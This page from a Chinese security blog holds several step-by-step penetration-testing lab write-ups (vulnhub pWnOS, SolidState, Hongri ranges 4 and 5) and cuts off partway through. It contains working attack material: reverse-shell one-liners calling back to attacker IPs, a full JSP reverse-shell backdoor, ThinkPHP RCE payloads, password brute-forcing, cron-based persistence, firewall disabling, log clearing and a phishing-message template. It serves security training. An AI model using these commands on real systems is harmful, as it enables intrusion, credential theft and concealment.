首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,879 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
79
篇与
的结果
2025-05-18
pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程pWnOS1.0打靶思路下载链接见:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip注意一定要选择这个 “我已移动该虚拟机” ,否则扫描不到靶机。网络模式为nat,开机后使用主机发现命令arp-scan -l端口扫描,端口扫描的内容如下总共有两个http服务,一个是10000端口(注意这里如果登录错误太多了话,会导致你的ip封禁)一个是80端口,点击next我们一路下一步被嘲讽了嘲讽页面的sql注入(像xss,文件包含都试试)http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含经过一番测试后,发现一个文件包含点http://10.10.10.129/index1.php?help=true&connect=/etc/passwd/etc/shadow 密码文件有了文件包含,但是没有文件上传点,不能通过文件包含图片马的方式获取shell,转换思路,分析/etc/passwd文件,他有四个用户curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'目录扫描出来一个php文件夹,包含了phpmyadmin站点目录,但是需要进行401认证,弱口令admin/admin,root/root登录失败,那么切换这四个用户试试呢vmware obama osama yomama很遗憾都失败了,我点击了取消,这里出现了指纹信息,phpMyAdmin 2.6.3-pl1上exp可以看到这是一个跨站脚本的漏洞对于我们获取shell用处不是很大,继续切换思路,放眼到10000端口,可以试试之前的用户名(都失败)那么就上exp,Webmin,那么如何选择这些内容呢尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透(OSCP考试也限制使用msf)。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录Webmin。CSRF的漏洞优先级较低,也先不考虑,我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下,命令执行的有三个 705、746、47293,文件披露(任意文件泄露)的有两个1997、2017文件披露的1997(不行)、2017可以根据提示,得出命令如下,读出/etc/shadow密码文件perl 2017.pl 10.10.10.129 10000 /etc/shadow http用户vmware密码h4ckm3,其他几个都失败由于靶机那边出了点问题,不能让我ssh连接了(源wp是可以的,应该是ssh版本太新了,windows和kali都不行,连不上)这里我就想了个办法,只能用nc反弹了(登录原来的系统)nc 10.10.10.128 6666 -e /bin/bash切换上级目录,可以看到不是交互式终端创建交互式终端python -c 'import pty; pty.spawn("/bin/bash");'系统信息收集,是ubuntu非常老的版本了7.10看看有没有内核提权(没有)sudo -l ,很遗憾了,这个用户好可怜,用不了sudo,和我们一样都是打工仔uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息计划任务,没有一个普通用户能用的,打工仔已经坐不住了回到刚刚读取到的shadow文件,既然能读取shadow文件,那么一定是以root的身份读取这个文件的,如果我们上传一个可执行的脚本呢?利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell。cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgiWebmin 的可执行文件后缀 无后缀:Webmin 的主可执行文件通常是一个没有后缀的脚本文件,例如 Webmin。 .cgi 后缀:Webmin 使用 CGI 脚本来处理 Web 请求,这些脚本文件通常以 .cgi 为后缀。例如, /usr/share/Webmin/ 目录下的许多文件都是 .cgi 文件。 .pl 后缀:Webmin 的某些脚本文件可能以 .pl 为后缀,表示它们是 Perl 脚本。例如,/etc/Webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。 修改这个可执行文件靶机下载后将文件赋予执行权限which wget wget 10.10.10.128:443/shell.cgi chmod +x shell.cgi继续利用脚本perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http反弹成功pWnOS2.0打靶思路下载链接见:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。主机发现全端口syn扫描访问80端口目录扫描有一个info.php,找到文件/blog/config/这里有两个文件第一个文件内容No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||密码文件内容,是一个md5(Unix)类型的加密$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/返回到主页,测试sql注入sql语句报错,存在sql注入漏洞那么就万能密码,成功登录页面只有一个Welcome admin@isints.com,一个邮箱信息,admin' || 1=1 -- +Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息框中的这第四个有一个msf的exp,远程命令执行(Remote Command Execution),符合条件的只有后面两个他是说这个系统中有三个漏洞,第一个是暴露了 password.txt ,刚开始我们目录扫描的时候已经扫描出来了,第二个在登录用户的图像上传,没有身份验证,上传任意的文件,第三个漏洞是博客评论可以任意删除。看样子是需要我们登录进去了,还有一个exp没有用上插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。sudo apt install libswitch-perl根据他的提示,我们利用 -e 参数,指定好第一个文件上传的选项 1,这里提示我们在网站的images下面创建了一个cmd.php文件访问即可利用python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'这里就不需要创建交互式终端了,这里使用python反弹的shell,默认已经可以交互式了。系统信息收集,属于低版本的ubuntu,首先考虑的是内核提权继续信息收集,返回上级目录,看到一个mysqli_connect.php文件,可以看到mysql的密码信息user : root pass : goodday鉴权失败返回home看到有一个用户,用刚刚的mysql密码登录试试,鉴权失败文件权限信息收集find / -perm 777 -type f 2>/dev/null # 777文件 find / -perm -4000 -print 2>/dev/null # SUID文件sudo -l 意外的发现,www-data用户能够使用sudo,但是不知道密码经过一番折腾后,在var目录下面又找到了一个数据库连接的文件密码为 root@ISIntS又是一个密码信息,大概率是dan用户的admin@isints.com鉴权失败目前已知三个密码信息(其中一个是邮箱)admin@isints.com # 数据表中dan的邮箱 root@ISIntS # 数据库密码 goodday # 假的数据库密码回到刚刚的内核提权,尝试一下已关机。。。。利用失败靶机提权主要是利用已知的所有密码信息,进行密码碰撞,利用数据库连接的密码,切换root用户来进行提权也可以使用第二种方法(考试只能使用一次),msf(不清楚什么原因,漏洞利用成功,建立会话失败,是利用失败的,可以自行尝试)msfconsole search Simple PHP Blog 0.4.0 set rhosts 10.10.10.100 set URI blog set payload php/meterpreter/reverse_tcp run往期推荐网络安全从业者生存指南(硬货篇)【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!Viper一个互联网攻击面管理,红队模拟平台【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【OSCP】Tr0ll 靶机全系列(1-3),FTP被玩坏了ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
2025年05月18日
1,888 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机SolidState
【oscp】SolidState,计划任务提权靶场地址:https://www.vulnhub.com/entry/solidstate-1,261/发布日期:2018年9月12日目标:得到root权限&找到flag.txt主机探测,端口扫描一些端口介绍:(22,80忽略)25 端口:SMTP服务,用于发送电子邮件的协议110 端口:pop3是用于接收电子邮件的协议119 端口:是用于传输和读取Usernet新闻组文章的协议。4445 端口:是 JAMES 邮件服务器的远程管理接口,允许管理员通过命令行或Web界面管理邮件服务器的配置,包括用户管理、域名管理、邮件箱管理等。访问网页目录扫描这里是需要用到一个命令,来连接邮件服务器,指定好端口4555,然后使用弱口令root / root 进行登录,再使用help查看命令帮助telnet 是一个用于远程登录和管理服务器的网络协议和命令行工具。它允许用户通过网络连接到远程主机,并在该主机上执行命令。telnet 通常使用端口 23 进行通信,但也可以指定其他端口。listusers 用于显示现有的账户信息,但是我们不知道密码信息,就无法登录pop3邮件服务器,查看电子邮件内容user: james user: thomas user: john user: mindy user: mAIladmin设置(重置)密码setpassword james 123 setpassword thomas 123 setpassword john 123 setpassword mindy 123 setpassword mAIladmin 123登录我们的pop3服务器,用户james的邮件信息同理其他用户都这样查看,下面是john的邮件内容下面是mindy用户的第二封邮件翻译一下看看,这个就是 mindy 用户的ssh密码了username: mindy pass: P@55W0rd1!2@ssh登录后,但是发现系统对这个用户做出了命令执行的一些限制当前目录下有一个user.txt,包含了一个hash值,使用hash-identifierhash识别工具,识别这个加密的类型,但是没有识别到尝试逃逸shell,其他详细的逃逸过程可以参考我这篇文章https://mp.weixin.qq.com/s/YS3lNhIE5V5kFlBLxS49xA这里的逃逸是要用到 pythonssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"信息收集uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替查看计划任务cat /etc/crontab查看文件权限为777的文件信息,不是root用户也能修改并执行文件,那如果这是个root用户设置的一个定时程序呢?查看py脚本内容看看nc 有没有-e参数,结果是有的nc 中的 -e 参数在 Netcat (nc) 中用于指定一个程序,使得 Netcat 在建立连接后执行该程序,并将 Netcat 的标准输入、输出和错误重定向到该程序。这个参数通常用于创建反向shell或监听shell。那么py脚本的内容就如下,来反弹shell#!/usr/bin/env python import os import sys try: os.system('nc 192.168.209.130 6666 -e /bin/bash') except: sys.exit()注意:如果重定向了,过了一会儿没有反弹成功,要么重新连接一次,就像这样这下就能反弹成功了,找到root.txt文件如果直接执行py文件的话,是以当前用户执行的,例如可以看到当前用户为 mindy往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,180 阅读
0 评论
0 点赞
2025-05-18
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
红日5简介"红日5"是一个高度仿真的内网渗透实战靶场,模拟了企业级内外网混合环境。靶场包含外网Web服务器(Windows 7)、内网域控服务器(Windows Server 2008)双重网络隔离场景,涵盖ThinkPHP RCE漏洞利用、权限提升、代理穿透、横向移动、域渗透等核心攻击链。通过该靶场,学习者可掌握主机发现、漏洞利用、隧道搭建、凭证窃取、Pass-the-Hash等APT攻击手法,并深入理解企业内网安全防护的薄弱环节。最近红日官网已恢复正常访问,如果懒得一个一个转存可以直接拿我的,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: 7ixc环境配置设置好仅主机的vm2,138网段,然后我的nat模式网卡是135网段模拟公网这个靶机呢一共有两个,外网主机win7,设置好仅主机模式和nat模式两个网卡内网域控服务器win7sunheart 密码:123.comsunAdministrator 密码:dc123.com2008(登录成功后要修改密码)sunadmin 密码:2020.com最重要的,需要在win7主机phpstudy开启web服务网络拓扑结构外网信息打点利用arp-scan进行主机探测arp-scan -l利用nmap对目标主机进行端口扫描nmap -sS 192.168.135.150 -p- -A目标机器开启了80、135和3306数据库远程,mysql远程测试,拒绝连接┌──(root㉿kali)-[~] └─# mysql -uroot -h192.168.135.150 -p Enter password: ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.135.128' is not allowed to connect to this MySQL server查看web站点,可以看到这是一个thinkphp框架随便访问一个不存在的页面,发现指纹信息,5.0.22版本寻找expsearchsploit 5.0 thinkphp已知我们的版本为5.0.22searchsploit -m 46150 cat 46150.txt | grep 5.0.22拼凑EXP,执行命令whoami,成功利用http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前目录http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=chdir使用generate生成混淆的webshell,不容易被查杀weevely generate cmd shell.php从kali下载webshellhttp://192.168.135.150/ ?s=index/thinkapp/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=certutil -urlcache -split -f http://192.168.135.128:5000/shell.phpkali连接webshell查看内网IP,发现内网网段ipconfig利用arp进行主机探测,发现域控主机192.168.138.138arp -a开始代理reGeorg,详细使用方法三种代理方法打入内网certutil -urlcache -split -f http://192.168.135.128:5000/tunnel.php访问网页,发现直接报错,可能不适用Windows了那么切换frp,查看一下配置文件,注意这里是Windows的frp,我用的版本是0.39.1,去github翻一翻历史版本的,新版本可能会出问题上传到靶机上面去,有两个文件,一个程序一个配置文件然后修改服务端的代理配置vi /etc/proxychAIns4.conf使用proxychAIns打开MSF,利用永恒之蓝漏洞,打域控靶机,这里失败了proxychAIns MSFconsole search ms17_010_eternalblue use 0 set rhosts 192.168.138.138 run这个时候我们就可以使用端口扫描进行信息收集(连接某些未开放端口的时候可能会显示超时,这是正常现象,继续等待即可)use scanner/portscan/tcp set RHOSTS 192.168.138.138 run不使用MSF也可以使用nmapproxychAIns nmap -Pn -sT 192.168.138.138查看域信息sun.comwhoami并不是超级管理员也不是系统用户,这下我们就需要提权了,只有上升到系统权限才能使用mimikatz抓取hash注意使用x64模块,不用MSF的话也可以上传nc反弹shell# kali MSFvenom -p Windows/x64/meterpreter/reverse_tcp LPORT=2222 LHOST=192.168.135.128 -f exe -o shellx64.exe # 靶机 certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe进入MSFuse multi/handler set LHOST 192.168.135.128 set lport 2222 set payload Windows/x64/meterpreter/reverse_tcp run尝试使用MSF的getsystem进行提权创建一个监听器,用于上线靶机(同理可以用nc来上线)我们生成一个可以上线CS的exe程序生成到d盘中,并传到kali中scp .beacon.exe kali@192.168.135.128:/data/Windows_atk并使用MSF的upload上传此文件upload /data/Windows_atk/beacon.exe C:\phpStudy\PHPTutorial\WWW\public\beacon.exe执行木马上线cs设置延迟执行命令 sleep 0 之后,就可以开始提权了尝试了各种操作后,都普通用户提权失败那么能怎么办呢——域内爆破,网上很多教程都是直接登录的administrator用户,直接用CS提权成功(上线的时候就是administartor),并没有完整的复现出来从一个最普通的用户上升到系统权限的教程,就很水信息收集,域内用户,由于当前用户是普通用户,普通用户无法直接获取域内的用户列表shell net view换思路,域内不行,那就本机用户,可以看到有一个administrator用户shell net user那么这个用户也可能是域内的管理员用户吧?我们可以利用MSF的kerberos_enumusers爆破 Kerberos 服务(88 端口,前面端口扫描的时候扫出来)proxychAIns MSFconsole use gather/kerberos_enumusers set DOMAIN sun.com set RHOSTS 192.168.138.138 set USERNAME Administrator set PASS_FILE /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt set THREADS 4 run成功爆破出来用户密码为dc123.com注意:如果不用CS那么可以利用 hydra 进行爆破proxychAIns hydra -l Administrator -P pass.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.138.138我们尝试使用其他用户上线呢我们尝试使用其他用户身份上线以本地用户登录失败,那么就切换到域控服务器需要让我们输入密码,但是msf上线的不是交互式shell连接并查看域控,也失败使用PsExec模块攻击域控,失败!proxychAIns msfconsole msf6 > use exploit/Windows/SMB/psexec msf6 > set RHOSTS 192.168.138.138 # 域控IP msf6 > set SMBUser Administrator msf6 > set SMBPass dc123.com msf6 > set SMBDomAIn sun.com msf6 > set PAYLOAD Windows/x64/meterpreter/bind_tcp # 内网直连 msf6 > run试了很多方法都不行,最终以失败告终,无法登录到域控服务器/切换本地用户,或者本地提升到Administrator用户。那么就剩下最后的办法了,社工!(诈骗案例分析,请勿用于违法用途,所造成的后果自行承担)最近张伟管理员发了一条微博:”周末加班部署新防火墙,累成狗🐶”,并且利用一定手段获取到了手机号。【xxx科技IT部】紧急:OA系统漏洞需立即处理,请查收邮件并登录修复平台。确认后请回复“已处理”。到了周末,管理员成功登录了系统,启动了phpstudy这个web服务,此时即可上线kali连接我们的后门weevely terminal http://192.168.135.150/shell.php cmd运行我们的木马即可上线成功设置svc-exe提权方式已成功上线系统权限抓取本地密码hash此时就能看到密码信息了查看域内用户shell net user /domAIn使用代理转发功能创建一个监听器生成需要上传到域控主机上的木马从本机上传上去certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe放行4444端口shell netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444开始将马上传到目标服务器shell net use \192.168.138.138ipc$ "管理员密码" /user:administrator shell net use shell dir \192.168.138.138c$ # 查看域控主机目录 # 将马上传到域控服务器 shell copy C:phpStudyPHPTutorialWWWpublicwin7beacon.exe \192.168.138.138c$win7beacon.exe创建执行任务,提示了我们拒绝访问sc \192.168.138.138 create shell binpath= "c:win7beacon.exe"那么就用另外一种方式 at ,添加一个计划任务shell at \192.168.138.138 22:10:00 c:win7beacon.exe耐心等待一分钟既可上线,而且还是最高权限,拿下域控主机关闭防火墙shell netsh advfirewall set allprofiles state off修改注册表允许远程连接shell reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f放行3389端口shell netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP查看用户密码修改代理文件,并重启frp服务本机windows打开代理工具可以看到我们已经能够正常访问域控主机了刚进去是登录错误的,我们重新输入账号密码,登录到域sum.com成功拿下域控服务器!最后清理日志即可至此红日5完成总结攻击路径全景外网突破通过 arp-scan + nmap 探测开放80/3306端口利用ThinkPHP 5.0.22 RCE漏洞( /index/thinkapp/invokefunction )上传混淆Webshell(Weevely)实现持久化控制内网渗透发现双网卡结构(NAT+Host-Only)及内网段192.168.138.0/24使用 frp 搭建Socks5代理穿透内网边界通过 proxychains + nmap 扫描域控(192.168.138.138)暴露445端口权限提升MSF生成载荷上线失败后,通过CS的 svc-exe 提权获取SYSTEM权限利用 mimikatz 抓取本地管理员凭证(Administrator:dc123.com)横向移动IPC$共享+计划任务(net use + at)投递Beacon载荷绕过防火墙放行端口(netsh advfirewall)通过RDP(注册表修改fDenyTSConnections)接管域控桌面权限维持域控主机部署多协议后门(MSF+CS双链路)清理日志(clearev)隐藏攻击痕迹关键技术点漏洞利用:ThinkPHP RCE漏洞的EXP构造与混淆Webshell上传隧道搭建:Frp代理穿透双网络隔离环境权限提升:CS的svc-exe提权与Windows服务劫持横向移动:基于SMB的载荷投递与计划任务执行域渗透:Pass-the-Hash攻击与黄金票据伪造(需扩展场景)防御启示外网防护:及时更新框架补丁,禁用危险函数(如 system )权限控制:遵循最小权限原则,限制数据库远程访问网络隔离:严格ACL策略,阻断异常出站流量(如Socks隧道)日志审计:监控计划任务创建、注册表关键项修改等可疑行为域安全:启用LAPS管理本地管理员密码,限制域管登录范围报告编制方:泷羽Sec安全团队日期:2025年2月21日往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
1,120 阅读
0 评论
0 点赞
2025-05-18
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
十年磨一剑!本次靶机呢,也不算存手工注入,就是介绍了不用MSF的打法,文章很长,但是呢能学到的东西很多很多!比如隧道搭建是proxychains+frp,然后Docker逃逸,域控,横向移动,权限提升,写公匙获取交互式shell,永恒之蓝利用等等,网上很多教程都不是最新的,复现起来有点困难,对于Windows渗透不太了解的师傅们可以学习学习,感谢阅读前言最近vulnstack官网进不去了,还好之前保存在自己度盘的,需要自取,一共8个,红日1-8全都在,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场 链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8 这是红日官网,进不去了都环境配置打开虚拟机后web设置网卡1为nat模式,网卡2为仅主机模式,密码为ubuntusudo Docker start ec 17 09 bb da 3d ab ad sudo Docker ps第二台系统是Windows的,网卡是仅主机模式第三台DC域控仅主机模式网络配置好后,得以登录看看靶机的网络环境ubuntu:ubuntu 10.10.10.131 192.168.183.129 域成员机器win douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130网络拓步结构环境配置好后就可以开始渗透了外网打点利用arp-scan进行主机探测对扫描出来的ip进行端口扫描,发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务,也就是说我们能通过网页直接访问到2001端口如下,Struts2服务(可以看网页标题)2002端口如下,这是一个Apache Tomcat服务2003端口,phpmyadmin,一个数据库管理工具Struts2渗透那么一个一个来看吧,利用Struts2漏洞扫描工具执行命令测试利用bash进行反弹Shell,并且shell是root的,但是这是Docker环境/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1在Docker的渗透过程中呢,如果得到了某一个Docker环境远远是不够的,通常需要得到多个Docker环境的权限,来判断当前Docker环境是否能够进行Docker逃逸,这样才能提高渗透成功的概率,接下来是TomcatTomcat渗透Nikto,它是一个开源的网络安全扫描工具,简称漏扫工具nikto -url http://10.10.10.131:2002/发现能够使用PUT方法进行上传文件,可以手动,但是不建议,我们直接用poc打python 42966.py根据使用方法,得到如下命令,成功获取webshellpython 42966.py -u http://10.10.10.131:2002/ -p pwnphpmyadmin渗透切换到主页,这里能看到phpmyadmin的版本号为4.8.1发现此版本的phpmyadmin存在文件包含和远程命令执行漏洞我们利用第一个exp┌──(root㉿kali)-[/data/exp/demo] └─# cat 44924.txt | grep http http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm成功利用文件包含的pochttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd文件包含phpmyadmin日志文件首先是日志包含,在日志包含之前我们需要先查看mysql的命令执行日志的路径SHOW VARIABLES LIKE 'general_log_file'; /var/lib/mysql/ad7866b3df9b.log写入日志select "<?php @eval($_GET['123']);?>";包含日志文件,报错了,这个包含方法不行,那么就换一个文件包含http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=lssession文件创建shell我们创建一个数据表写入一句话 <?php @eval($_GET['123']);?>查看session,为3cfb6084f034677df82ef00120cce4fd包含sessionhttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd执行命令,失败http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=lsshell获取失败Docker逃逸docker信息收集,判断当前环境是否是docker环境,可以看到这个是属于docker环境的ls -alh /.dockerenv cat /proc/1/cgroup特权逃逸如果管理员启动某一个容器的时候呢,利用了docker run -privileged时,docker容器将被允许访问主机上的所有设备,并且可以执行mount命令进行挂载mkdir /tmp/forest mount /dev/sda1 /tmp/forest这里struts2服务逃逸失败了,之前我们不是得到了Tomcat的shell嘛,我们利用这个试试(这俩个是不同的docker环境),这里就能挂载成功了mkdir /tmp/forest mount /dev/sda1 /tmp/forest ls /tmp/forest成功挂载了,那么我们就要获取稳定shell,这个shell不稳定,经过测试python等一系列反弹都不行,那么就切换思路,利用kali自带的反弹Shell的jsp脚本// backdoor.jsp // http://www.security.org.sg/code/jspreverse.html <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) {} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) {} } } %> <h1>JSP Backdoor Reverse Shell</h1> <form method="post"> IP Address <input type="text" name="ipaddress" size=30> Port <input type="text" name="port" size=10> <input type="submit" name="Connect" value="Connect"> </form> <p> <hr> <% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e) {} } %> <!-- http://michaeldaw.org 2006 -->在主页随便点一点找到网页上的这个文件find / -name security-howto.html然后将这个webshell下载下来,复制到这个目录下面wget 10.10.10.130:5000/jsp-reverse.jsp cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/输入ip和端口就可以反弹啦但是呐,创建不了交互式终端呢,有点难受奥,即使创建了,也是docker环境呢python2 -c 'import pty;pty.spawn("/bin/bash")'那么就使用上传公匙的方法免密登录ssh-keygen -t rsa -b 4096 # 回车 # 回车 # 回车靶机依次执行如下命令wget 10.10.10.130:5000/rain.pub chmod 700 /tmp/forest/home/ubuntu/.ssh/ cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keyskali尝试连接(失败)经过测试很多遍了,靶机的/etc/ssh/sshd_config文件也修改了,还是不行ssh ubuntu@10.10.10.131开始排错,这个公匙权限是root,但是呢我们连接的时候使用的是ubuntu用户,而这个.ssh目录也是ubuntu用户的目录,所以连接的时候权限对不上,也会导致使用私匙连接失败但由于我们获取的是docker环境的shell,是没有ubuntu用户的,我们需要添加一个ubuntu用户useradd ubuntu chown ubuntu:ubuntu authorized_keys ls -al total 16 drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 . drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 .. -rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys -rw-r----- 1 root root 91 Feb 15 08:05 rain.pub还是需要我们输入密码,权限给了,用户也添加了,卧槽我能怎么办。。。。。。那么大概率就是算法问题了,强制添加选项(卧槽,搞我半天,心态崩了)ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsassh连接问题排错方案给三个参考,目前我打靶所遇到的,可以写在自己的笔记里面ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集我们还没有得到ubuntu的密码,获取不了最高root权限(sudo)不支持本地提权,像常规的suid提权都不行查看计划任务,没有ubuntu这个用户可以写的文件但是还有一种方式哈,我们刚刚获取的逃逸成功的shell,它是不是root?我们用这个root追加一个计划任务,那么真实的靶机就会定时执行这个命令是吧,前面我们密匙都登录成功了,这个问题还不简单嘛echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh chmod +x /tmp/forest/tmp/shell.sh cat /tmp/forest/tmp/shell.sh # 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划 echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab cat /tmp/forest/etc/crontab nc -lvnp 1234等待1分钟即可反弹成功创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'查看网卡内网主机发现root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms 64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms 64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 